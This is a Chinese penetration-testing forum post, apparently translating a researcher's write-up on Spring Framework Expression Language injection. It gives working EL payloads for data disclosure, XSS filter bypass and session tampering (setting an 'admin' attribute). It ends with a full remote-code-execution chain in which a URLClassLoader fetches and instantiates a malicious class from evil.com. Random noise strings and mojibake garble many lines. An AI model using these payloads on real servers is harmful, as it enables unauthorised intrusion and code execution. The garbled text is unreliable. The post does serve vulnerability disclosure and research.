中国网络渗透测试联盟

标题: spring-远程代码注入 [打印本页]

作者: admin    时间: 2013-2-16 21:47
标题: spring-远程代码注入
Remote Code with
8 }9 u0 D  R: M1 u3 T9 HExpression Language Injection: ]6 f4 u3 O, ?2 E
Spring Framework脆弱性—DanAmodio
" p$ [% g. s1 T0 O* g, k全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
+ Z/ w8 f; I+ ]1 g& A4 ~可能会存在风险。: k9 \% M' D4 ~6 X+ W0 N
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的1 q* Q2 [& Y% j5 ~+ S% j$ j7 b6 L6 l2 d
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
' L7 L4 n. T9 O6 _以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
( P4 N% C6 I1 {, t9 f1 V以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
& ~/ k0 J, i! i版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。: c. x/ g' q: `7 D2 l0 K! O/ j
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
( l. h( _( @: h7 x/ p, g1 |我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版& Q2 r6 B, L& R+ B( c& Y& c
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。5 b1 K& r' g3 t/ U
这些版本不支持禁用double EL resolution.& E& Q* |7 l" u) H% b3 q
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含3 L2 k! y( ^% W0 \, l
EL2.2容器上可能进行远程代码执行。, ^3 V! n1 O. t) c6 F5 U0 ]
这是一个原始信息泄露的攻击例子:3 [( m* `! ?0 u* z/ {& i
请求:8 @" F" H4 V( ?3 k
ttp://vulnerable.com/foo?message=${applicationScope}
( q7 ]9 ~& x4 |; l5 u到达以下内容页面:- D6 s$ }5 Q. u) ^9 M# Y4 j
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
5 d" G( x. r  a你也可以做一些其他事情,如这样:
7 L8 [7 K6 Y5 Z- A- L9 q${9999+1}
/ G( Y" k7 U2 `# K& G3 V还可以访问session 对象和beans5 s* g& y5 g3 y  e5 ~
${employee.lastName}0 {; ~; |5 f5 l) s/ E
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
9 o2 F2 g. x$ C' ^EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东" \( C2 S: H; G# `; i
西,比如XSS.% A2 N- O! x$ e1 D: Z) W
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
8 O, f! `  `% i: M# p2 v3 a: g突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
5 V1 R' X1 t) p( r' J4 z呢?”+ ]! d% l, |3 L& w* ^- h
因此,我尝试巳缦拢�# l, @, e# v/ R4 @
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
5 l1 v+ a. I6 xP
  A- n- ^- F) _( P* a3 F我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返2 F0 S& k. k& T( P  Q* r0 x
回的文本被插入进了spring:message 标签。
& p! o6 _- z& n' Q+ m, e5 [- @) N- V这里是一个最终绕过过滤的实例:# M( a6 R+ G1 ^3 ^$ o+ q5 X9 j* Y
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
0 Y/ k& I. @7 I0 @1 S- ~4 |/ X4 E. o它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
- I# w- j/ ?+ q7 C( ^什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
/ o6 d+ E1 _* v) \5 y5 E- g经过一番研究,我学习到EL2.2 增加了方法调用。: r. ]- D, X4 D1 D
我写了一个快速测试应用程序代码并且检测一些功能
+ X" y$ o+ t, d. g! R  ~${pageContext.request.getSession().setAttribute(“account”,”123456″)}$ K. F/ |' t' E0 w$ B6 U
${pageContext.request.getSession().setAttribute(“admin”,true)}
& j, D% D1 b" ]0 m( a# r* q好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的# a, o' U# b& G
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
( S+ I4 j, r2 h  _5 g6 d/ b" h! @# S${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1- j4 R: ?8 r/ W- v
“, 1234)}( h! D0 N4 J$ g* j1 @% n
${“”.getClass().forName(“java.lang.Runtime”)}
8 S/ F/ E3 [7 `哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不1 O# n# O- K2 N. z  I
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函3 Y. p: v) Q, i1 y2 _
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
+ V" ]3 ]: b7 d' x$ P0 G8 Q一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
5 ]% C7 H# H8 ]) c3 U方法签名invoke(Object obj, Object„ args)
1 L! A: u# i( _: P( mJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
  r3 i" ^( ~# U& G! q/ A$ o题,以让它可以工作起来。
. I9 q, X- v- R0 M; n: V漏洞利用:
" i/ S1 q9 y% g& o! ]我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我/ A# L2 k8 }# w$ D
希望你们中的一些JAVA奇才告诉我我是如此的可笑。) K% _$ H# n/ @8 n# @6 k1 |4 u
这里有一些我试过的失败的用例,为了试图让它工作的用例:( ?6 |/ w/ N* Q+ `4 z
 写文件到文件系统
& {  x3 M6 f5 m8 ?0 L; d0 m 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
) c1 t+ J, r) @$ i1 w我认为这些可以很好的工作,但是我不能找到合适的类来载入。
, Q5 S/ Z: o' @: l2 [8 c( P& \. o${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
; |: @3 {* g% e6 V( ]5 d- hjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
9 v0 V& f* w, N: X6 M; i8 \org.springframework.expression.spel.standard.SpelExpressionParser not found2 |  D7 \% C: U0 x# P* L
by+ C5 r) x  A. L. R7 Z/ n
org.glassfish.web.javax.servlet.jsp [194].1 b4 s- }' G/ T' f" m- b' A
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
  {7 |! Z9 J. N# [) O 利用反射来创建一个新的Runtime(and watch the world burn)* V0 o$ S5 [, I8 E1 K8 N* @( ~
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
! L0 }: u+ _2 u1 ~7 y(“java.lang.Runtime”)).getDeclaredConstructors()[0])}/ X9 g$ ?0 N) q3 d( k9 h7 c
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}- I: ?  p/ }% k' z1 s; I
 使用java.lang.ProcessBuilder
& F' z8 V) f; ~- |6 d6 @ 用表达式语言来评估表达式语言
) \  z* }) J# o3 z" h, AExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
& i* z, r# Y3 g9 X${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request7 Q: k. d  G! |4 c$ _
“,”".getClass(),null)}, w* ^! i' F7 K1 H" D# K
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
, X/ Z2 `7 U; L3 F9 f0 `: _我在使用一个空数组通过Method.invoke()时失败了很多次
4 d6 b8 R& y) u6 o& b8 z$ x“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo, n+ K' B+ R1 M' C( _; |
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
" m9 G2 o6 t% f7 Z3 G! \# xrrayList”).newInstance().toArray())8 c( D, S1 [. G' q- V
java.lang.IllegalArgumentException: wrong number of arguments0 Q6 B$ k4 ?' H; ?0 Q
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可6 {/ S* I+ s6 `: p
以创建一个恶意class文件并且指向类装载器.+ _, C0 X4 w- C$ K6 @9 `# P$ [
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
$ S: L7 `( z1 E- @1 \! Bpublic class Malicious {
/ ?8 b, G8 z. ypublic Malicious() {
+ W7 c$ [% E% l/ s1 xtry {/ j) M" K- h: ^
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
# e) \3 y  [" Y. q, F! ejava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win5 M3 I) }% ^* K$ d
} catch (Exception e) {
9 C4 b2 X  \, p4 K}
. K! D& ^- V* c8 R( c& U( Y}
; b. t  @  A  m" v我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回, v# `3 z  T  G* A1 e) s# X
话中,因此它可以被使用.
- ?' M8 Y2 `& a${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
3 K( j4 Z6 E+ y6 g* p. `(“java.util.ArrayList”).newInstance())}
  q/ X3 I$ w. i& @% E1 CURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
- Z1 _' h/ A3 ~9 U一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和; b7 L8 o! ^+ d
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
9 A5 p3 a& M. L9 ]我们可以调用的create(string)方法,然后转换对一个URL对象。8 O' ]1 H5 \' d4 o( {) b# r
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
2 R2 E8 A! n. _0 I9 uere/malicious/classfile/is/located/”).toURL())}
$ n6 b9 E2 h! U& X/ t然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
6 T+ |5 G! Z) u& B# I* a恶意类文件被装载并创建,触发远程代码.0 i" u/ `/ q( C' a, X- M+ T- G1 A# F
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
( z9 P: O5 `! \: d2 wxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().6 E. ?3 n0 z6 h& S
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
" B2 B* R$ q  Y1 c! C% f$ G()}




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2